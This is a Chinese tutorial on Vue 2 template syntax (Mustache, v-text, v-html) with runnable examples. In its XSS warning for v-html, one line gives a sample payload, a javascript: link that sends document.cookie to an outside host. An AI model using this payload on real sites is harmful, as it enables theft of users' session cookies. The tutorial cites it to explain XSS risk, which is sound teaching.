Vue -- 模板语法 · Vue&&TypeSprict--基础总结

[TOC] >[success] # Vue 模板语法 ~~~ 1.vue 和大多数后台语言，甚至是和art-template 这种前端模板库一样，都有一套，特定的语法来把数据渲染在html上。 ~~~ >[info] ## Mustache -- 大胡子语法 ~~~ 1.大胡子的语法格式双大括号'{{}}',用在html标签之间，不能写在标签属性中 2.大胡子语法中可以使用js表达式，但只限于Vue实例作用域和Vue沙盒白名单，白名单规定了一些全局变量例如Math和Date。 3.表达式一些基本表达式，和一些三元运算例如： '{{num + 1}}'、'{{status ? 'succeed' : 'failed'}}' '{{changeTime()}}'、'{value.replace(/,/g,"")}' 4.但不支持流控制例如:'{{ if (ok) { return message } }}' 5.简单的理解就是里面只能写：每个绑定都只能包含'单个表达式' ~~~ * 关于白名单中可以用的参数 * [参考的代码](https://github.com/vuejs/vue/blob/v2.6.10/src/core/instance/proxy.js#L9) ~~~ 'Infinity,undefined,NaN,isFinite,isNaN,' 'parseFloat,parseInt,decodeURI,decodeURIComponent,encodeURI,encodeURIComponent,' 'Math,Number,Date,Array,Object,Boolean,String,RegExp,Map,Set,JSON,Intl,' 'require' // for Webpack/Browserify ~~~ >[danger] ##### 大胡子语法案例 ~~~ <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Title</title>  <script src="https://cdn.jsdelivr.net/npm/vue@2.5.22/dist/vue.js"></script> </head> <body> <div id="app"> <p>{{msg}}</p>   </div> <script> var vm = new Vue({ el:"#app", data:{ msg:"将会被大胡子语法渲染" } }) </script> </body> </html> ~~~ >[info] ## v-text -- 模板渲染 ~~~ 1.v-text 能展示对应data中数据内容，也能在数据基础上做运算 2.v-text 会吧标,签中的内容替换 ~~~ >[danger] ##### v-text -- 使用案例 ~~~ <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Title</title>  <script src="https://cdn.jsdelivr.net/npm/vue@2.5.22/dist/vue.js"></script> </head> <body> <div id="app"> <p v-text="msg"></p>  <p v-text="msg">我被覆盖掉了</p>  <p v-text="msg+1"></p> </div> <script> var vm = new Vue({ el:"#app", data:{ msg:"将会被v-text渲染" } }) </script> </body> </html> ~~~ * 展示效果 ![](https://box.kancloud.cn/f5b08a15b5ebe4f979992024a21d8116_144x128.png) >[info] ## v-html -- html标签渲染 ~~~ 1.将标签语义化展示在页面上 2.容易产生xss攻击，请只对可信内容使用 HTML 插值，绝不要对用户提供的内容使用插值。 3.如何防止xss攻击: 3.1 前端过滤 3.2 后台转义(< > < >) 3.3 给cookie 加上属性 http例如: <a href=javascript:location.href='http://www.baidu.com?cookie='+document.cookie>click</a> ~~~ >[danger] ##### v-html 案例 ~~~ <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Title</title>  <script src="https://cdn.jsdelivr.net/npm/vue@2.5.22/dist/vue.js"></script> </head> <body> <div id="app"> <p v-html="msg"></p> </div> <script> var vm = new Vue({ el:"#app", data:{ msg:"<span style='color:red'>v-html渲染</span>" } }) </script> </body> </html> ~~~ >[success] # 三种将数据渲染到页面的方法总结 ~~~ 1.虽然上面三种方法都可以将数据渲染到页面上，但是工作中我最常用的是'{{}}' 2.'{{}}' 最被常用但是在加载的时候会出现闪烁问题(指令篇章v-cloak会讲解解决方法)，而且只能吧html标签当字符串渲染 3.'v-text' 虽然没有数据加载闪烁问题，但是会将标签中间的数据覆盖，也不能渲染html格式数据。 4.'v-html' 谨慎使用会出现xss攻击的风险 ~~~